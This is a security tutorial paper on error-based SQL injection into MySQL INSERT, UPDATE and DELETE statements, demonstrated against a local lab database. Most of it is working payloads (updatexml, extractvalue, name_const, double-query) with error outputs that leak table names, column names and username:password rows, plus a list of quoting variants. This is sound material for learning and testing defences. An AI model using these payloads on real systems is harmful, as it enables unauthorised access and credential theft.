SQL Injection in Insert,
Update and Delete Statements

Osanda Malith Jayathissa

Table of Contents

Acknowledgements

Thanks to Ryan 'ethicalhack3r' Dewhurst for helping review.

Special Dedications:

ajkaro: You showed me the correct path into the world of SQLi. I owe you so much for sharing your knowledge and experience with me. You was such a great friend. I miss you.

Hood3dRob1n: For each script I write, it is because of you who always inspired me and motivated me.

Introduction

Most of the time when we talk about SQL injection we extract data by using the union keyword, error based, blind boolean and time based injection methods. All this comes under a place where the application is performing a SELECT statement on the back-end database. How to inject into places where the application is performing an INSERT, UPDATE, DELETE statement? For example, INSERT statements are used in applications when it wants to store IP addresses, user agent strings, referrer URLs and other data within the database. While manipulating with user accounts when creating a new password, changing names, deleting accounts these statements are used. Not only just user input if we can fuzz around into whatever the application is taking as input and if they aren’t properly sanitized to filter we can go ahead and inject (Assuming that there are no WAFs or any blacklists). This paper is based on the MySQL error response. In the web application mysql_error() should be echoed back to us.

Lab Setup

Let’s create a database first by the name `newdb` and create one sample table to practice our injections. Stick to your localhost. Don’t go ahead and test against live websites without prior permission. I take no responsibility for any damage you cause.

```
Create database newdb;
use newdb
CREATE TABLE users
        (
        id int(3) NOT NULL AUTO_INCREMENT,
        username varchar(20) NOT NULL,
        password varchar(20) NOT NULL,
        PRIMARY KEY (id)
        );
```

Syntax for Injecting

Now let’s insert some sample data into our database. The syntax would be

```
INSERT INTO users (id, username, password) VALUES (1, 'Jane', 'Eyre');
```

The above query uses single quotes. So keep in mind that we have to inject like this.

```
INSERT INTO users (id, username, password) VALUES (1, ' 'Inject Here' ', 'Nervo');
```

If the query uses double quotes the injection should too use double quotes.

```
INSERT INTO users (id, username, password) VALUES (1, "  "Inject Here "  ", "Nervo
");
```

The same applies to UPDATE and DELETE statements. You can get to know about the syntax by breaking the statement. Apply quotes in front where necessary to create a valid SQL query. Note that in these kinds of injections MySQL comments like --, # won’t comment out the rest of the query, they are also taken as normal characters.

Injection using Updatexml()

If you know about XPATH injections you can use that knowledge in here. Usually we use the updatexml() and extractdata() functions. The same can be used in here. Assuming that you know about XPATH injections I will proceed.

Our payload would be

```
or updatexml(1,concat(0x7e,(version())),0) or
```

Insert

```
INSERT INTO users (id, username, password) VALUES (2,'Olivia' or
updatexml(1,concat(0x7e,(version())),0) or'', 'Nervo');
```

```
ERROR 1105 (HY000): XPATH syntax error: '~5.5.35-0ubuntu0.12.04.1'
```

Update

```
UPDATE users SET password='Nicky' or updatexml(2,concat(0x7e,(version())),0) or''
WHERE id=2 and username='Olivia';
```

Delete

```
DELETE FROM users WHERE id=2 or updatexml(1,concat(0x7e,(version())),0) or'';
```

Extraction of Data

For the sake of this paper I will explain about dumping data only using the insert statement. There is no change in UPDATE and DELETE statements, just follow the exact same method.

For extracting the tables from the information_schema database we can build our payload like this

```
or updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables
WHERE table_schema=database() limit 0,1)),0) or
```

Our query to extract the tables would be

```
INSERT INTO users (id, username, password) VALUES (2,'Olivia' or
updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables
WHERE table_schema=database() limit 0,1)),0) or '', 'Nervo');
```

```
ERROR 1105 (HY000): XPATH syntax error: '~users'
```

To extract the columns the query would be like this. In my case the table_name would be 'users'. Use the limit function to get the rest of the column names.

```
INSERT INTO users (id, username, password) VALUES (2,'Olivia' or
updatexml(0,concat(0x7e,(SELECT concat(column_name) FROM information_schema.columns
WHERE table_name='users' limit 0,1)),0) or '', 'Nervo');
```

```
ERROR 1105 (HY000): XPATH syntax error: '~id'
```

Let’s dump the first entry in the 'users' table using INSERT and DELETE.

```
INSERT INTO users (id, username, password) VALUES (2,'Olivia' or
updatexml(0,concat(0x7e,(SELECT concat_ws(':',id, username, password) FROM users
limit 0,1)),0) or '', 'Nervo');
```

```
ERROR 1105 (HY000): XPATH syntax error: '~1:Olivia:Nervo'
```

```
DELETE FROM users WHERE id=1 or updatexml(0,concat(0x7e,(SELECT concat_ws(':',id,
username, password) FROM users limit 0,1)),0) or '';
```

```
ERROR 1105 (HY000): XPATH syntax error: '~1:Jane:Eyre'
```

You can retrieve tables, columns using the Updatexml() function in insert, UPDATE and DELETE statements. However you cannot dump data using the UPDATE statement if you are in the same table. For example now I am in the users table. If I run this query

```
UPDATE users SET password='Nicky' or updatexml(1,concat(0x7e,(SELECT
concat_ws(':',id, username, password) FROM newdb.users limit 0,1)),0) or'' WHERE
id=2 and username='Olivia';
```

This won’t give out any data because we are trying to use the target database for dumping data. In these kinds of scenarios you the target database should be different. Once again for the sake of this paper create a new database as 'students' with the columns id, name, address and insert some values.

Now if the injection point was in the 'students' table we can dump data from the 'users' table other than the data in the table itself. This applies to the UPDATE statement only.

```
UPDATE students SET name='Nicky' or Updatexml(1,concat(0x7e,(SELECT
concat_ws(':',id, username, password) FROM newdb.users limit 0,1)),0) or'' WHERE
id=1;
```

```
ERROR 1105 (HY000): XPATH syntax error: '~1:Jane:Eyre'
```

If you are stuck in the UPDATE statement injection you can use double query injection for that. I have discussed in the next few titles.

Injection Using extractvalue()

This function can be used in XPATH injections too. However our payload using this function would like this.

```
or extractvalue(1,concat(0x7e,database())) or
```

Insert

We can apply it in the insert statement like this.

```
INSERT INTO users (id, username, password) VALUES (2,'Olivia' or
extractvalue(1,concat(0x7e,database())) or'', 'Nervo');
```

```
ERROR 1105 (HY000): XPATH syntax error: '~newdb'
```

Update

```
UPDATE users SET password='Nicky' or extractvalue(1,concat(0x7e,database())) or''
WHERE id=2 and username='Nervo';
```

```
ERROR 1105 (HY000): XPATH syntax error: '~newdb'
```

Delete

```
DELETE FROM users WHERE id=1 or extractvalue(1,concat(0x7e,database())) or'';
```

```
ERROR 1105 (HY000): XPATH syntax error: '~newdb'
```

Extraction of Data

Follow the same method as discussed in updatexml() function. This is an example of retrieving all the tables from the information_schema database.

```
INSERT INTO users (id, username, password) VALUES (2,'Olivia' or
extractvalue(1,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables
WHERE table_schema=database() limit 0,1))) or'', 'Nervo');
```

```
ERROR 1105 (HY000): XPATH syntax error: '~users'
```

To extract the column names the payload would be like this as in my case the table is 'users'.

```
INSERT INTO users (id, username, password) VALUES (2,'Olivia' or
extractvalue(1,concat(0x7e,(SELECT concat(column_name) FROM
information_schema.columns WHERE table_name='users' limit 0,1))) or'', 'Nervo');
```

```
ERROR 1105 (HY000): XPATH syntax error: '~id'
```

The final query to dump the username and password would be

```
INSERT INTO users (id, username, password) VALUES (2,'Olivia' or
extractvalue(1,concat(0x7e,(SELECT concat_ws(':',id, username, password) FROM users
limit 0,1))) or '', 'Nervo');
```

```
 ERROR 1105 (HY000): XPATH syntax error: '~1:Jane:Eyre'
```

You can use the same injection to extract data as mentioned above in UPDATE and DELETE statements. In dumping the same rules apply to the UPDATE statement as mentioned above in updatexml() method.

Injection Using name_const()

This function was added in MySQL 5.0.12 and it returns any given value. We can use this function in injection.

The payload would be

```
or (SELECT*FROM(SELECT(name_const(version(),1)),name_const(version(),1))a) or
```

Insert

We can inject into the insert statement using the name_const() function like this.

```
INSERT INTO users (id, username, password) VALUES (1,'Olivia' or
(SELECT*FROM(SELECT(name_const(version(),1)),name_const(version(),1))a) or '',
'Nervo');
```

As expected this query returns the error with the version.

```
ERROR 1060 (42S21): Duplicate column name '5.5.35-0ubuntu0.12.04.1'
```

Update

The UPDATE statement would be in the exact same format.

```
UPDATE users SET password='Nicky' or
(SELECT*FROM(SELECT(name_const(version(),1)),name_const(version(),1))a) or '' WHERE
id=2 and username='Nervo';
```

Delete

The DELETE statement also would look the exact same way.

```
DELETE FROM users WHERE id=1 or
(SELECT*FROM(SELECT(name_const(version(),1)),name_const(version(),1))a)or '';
```

Extraction of Data

In the latest versions of MySQL you can only get the version out of the name_const() function. But still in older versions of MySQL which is greater than or equal to 5.0.12 we can extract data further. To demonstrate this I will be using MySQL 5.0.45.

First we need to do a simple test to check whether we can extract data or not. For that we can perform a simple SELECT query.

```
INSERT INTO users (id, username, password) VALUES (1,'Olivia' or (SELECT*FROM(SELECT
name_const((SELECT 2),1),name_const((SELECT 2),1))a) or '', 'Nervo');
```

If you get this kind of an error related to name_const we cannot go further.

```
ERROR 1210 (HY000): Incorrect arguments to NAME_CONST
```

If you get this kind of an error you can go forward and extract data.

```
ERROR 1060 (42S21): Duplicate column name '2'
```

Now we can extract the table names like this from the information_schema database.

```
INSERT INTO users (id, username, password) VALUES (1,'Olivia' or (SELECT*FROM(SELECT
name_const((SELECT table_name FROM information_schema.tables WHERE
table_schema=database() limit 0,1),1),name_const(( SELECT table_name FROM
information_schema.tables WHERE table_schema=database() limit 0,1),1))a) or '',
'Nervo');
```

```
ERROR 1060 (42S21): Duplicate column name 'users'
```

Let’ s extract the column names from the table ‘users’ .

```
INSERT INTO users (id, username, password) VALUES (1,'Olivia' or (SELECT*FROM(SELECT
name_const((SELECT column_name FROM information_schema.columns WHERE
table_name='users' limit 0,1),1),name_const(( SELECT column_name FROM
information_schema.columns WHERE table_name='users' limit 0,1),1))a) or '',
'Nervo');
```

```
ERROR 1060 (42S21): Duplicate column name 'id'
```

Finally we can extract the data like this.

```
INSERT INTO users (id, username, password) VALUES (2,'Olivia' or (SELECT*FROM(SELECT
name_const((SELECT concat_ws(0x7e,id, username, password) FROM users limit
0,1),1),name_const(( SELECT concat_ws(0x7e,id, username, password) FROM users limit
0,1),1))a) or '', 'Nervo');
```

```
ERROR 1060 (42S21): Duplicate column name '1~Jane~Eyre'
```

Double Query Injection

We can directly extract data from the database by using double query injection. However in MySQL there is no such thing as double queries. This can also be called sub query injection. All we are trying to do is retrieve data in the form of an error. We can also define it as error based injection.

Insert

```
INSERT INTO users (id, username, password) VALUES (1,'Olivia' or (SELECT 1
FROM(SELECT count(*),concat((SELECT (SELECT concat(0x7e,0x27,cast(database() as
char),0x27,0x7e)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM
information_schema.columns group by x)a) or'', 'Nervo');
```

```
ERROR 1062 (23000): Duplicate entry '~'newdb'~1' for key 'group_key'
```

Update

```
UPDATE users SET password='Nicky' or (SELECT 1 FROM(SELECT count(*),concat((SELECT
(SELECT concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) FROM
information_schema.tables limit 0,1),floor(rand(0)*2))x FROM
information_schema.columns group by x)a)or'' WHERE id=2 and username='Nervo';
```

```
ERROR 1062 (23000): Duplicate entry '~'newdb'~1' for key 'group_key'
```

Delete

```
DELETE FROM users WHERE id=1 or (SELECT 1 FROM(SELECT count(*),concat((SELECT
(SELECT concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) FROM
information_schema.tables limit 0,1),floor(rand(0)*2))x FROM
information_schema.columns group by x)a)or'' ;
```

```
ERROR 1062 (23000): Duplicate entry '~'newdb'~1' for key 'group_key'
```

Extracting Data

I assume you know about error based injections. We can easily dump the table names like this. Read through the query if it is hard to understand at a glance.

```
INSERT INTO users (id, username, password) VALUES (1,'Olivia' or (SELECT 1
FROM(SELECT count(*),concat((SELECT (SELECT (SELECT distinct
concat(0x7e,0x27,cast(table_name as char),0x27,0x7e) FROM information_schema.tables
WHERE table_schema=database() LIMIT 0,1)) FROM information_schema.tables limit
0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) or '',
'Nervo');
```

```
ERROR 1062 (23000): Duplicate entry '~'students'~1' for key 'group_key'
```

Columns names can be dumped in this manner. In my case the table is users and the database is 'newdb'.

```
INSERT INTO users (id, username, password) VALUES (1, 'Olivia' or (SELECT 1
FROM(SELECT count(*),concat((SELECT (SELECT (SELECT distinct
concat(0x7e,0x27,cast(column_name as char),0x27,0x7e) FROM
information_schema.columns WHERE table_schema=database() AND table_name='users'
LIMIT 0,1)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM
information_schema.columns group by x)a) or '', 'Nervo');
```

```
ERROR 1062 (23000): Duplicate entry '~'id'~1' for key 'group_key'
```

Use the limit function to go forward.

Finally the usernames and passwords which is our secret data can be extracted like this.

```
INSERT INTO users (id, username, password) VALUES (1, 'Olivia' or (SELECT 1
FROM(SELECT count(*),concat((SELECT (SELECT (SELECT
concat(0x7e,0x27,cast(users.username as char),0x27,0x7e) FROM `newdb`.users LIMIT
0,1) ) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM
information_schema.columns group by x)a) or '', 'Nervo');
```

```
ERROR 1062 (23000): Duplicate entry '~'Olivia'~1' for key 'group_key'
```

The same applies to UPDATE and DELETE. You can inject using error based injection to those two statements too. There is no change follow the same syntax.

Other Variations

I’ve noticed some variations in our payload. You can inject using these methods too.

```
' or (payload) or '
' and (payload) and '
' or (payload) and '
' or (payload) and '='
'* (payload) *'
' or (payload) and '
" - (payload) - "
```

Conclusion

I hope now you can understand different methods of injection in INSERT, UPDATE and DELETE statements. Knowing manual injection helps when the injection points are different, in bypassing WAFs and helps to determine the correct automation in dumping data. In my experience in finding vulnerabilities as a security researcher in the real world, I’ve came across scenarios where input was not properly sanitized in these statements. Use this knowledge for educational purposes only.

References

[1] http://dev.mysql.com/

[2] http://websec.ca/kb/sql_injection

About the Author

He is a young independent security researcher interested in application security, reverse engineering and penetration testing. He had found vulnerabilities in Microsoft, Apple, AT&T, Adobe, Oracle, Intel, GitHub, RedHat, Nokia, Twitter, Sony, Samsung, Dell, Huawei, Ebay, SoundCloud, etc. You can find his advisories, tools and exploits on http://osandamalith.wordpress.com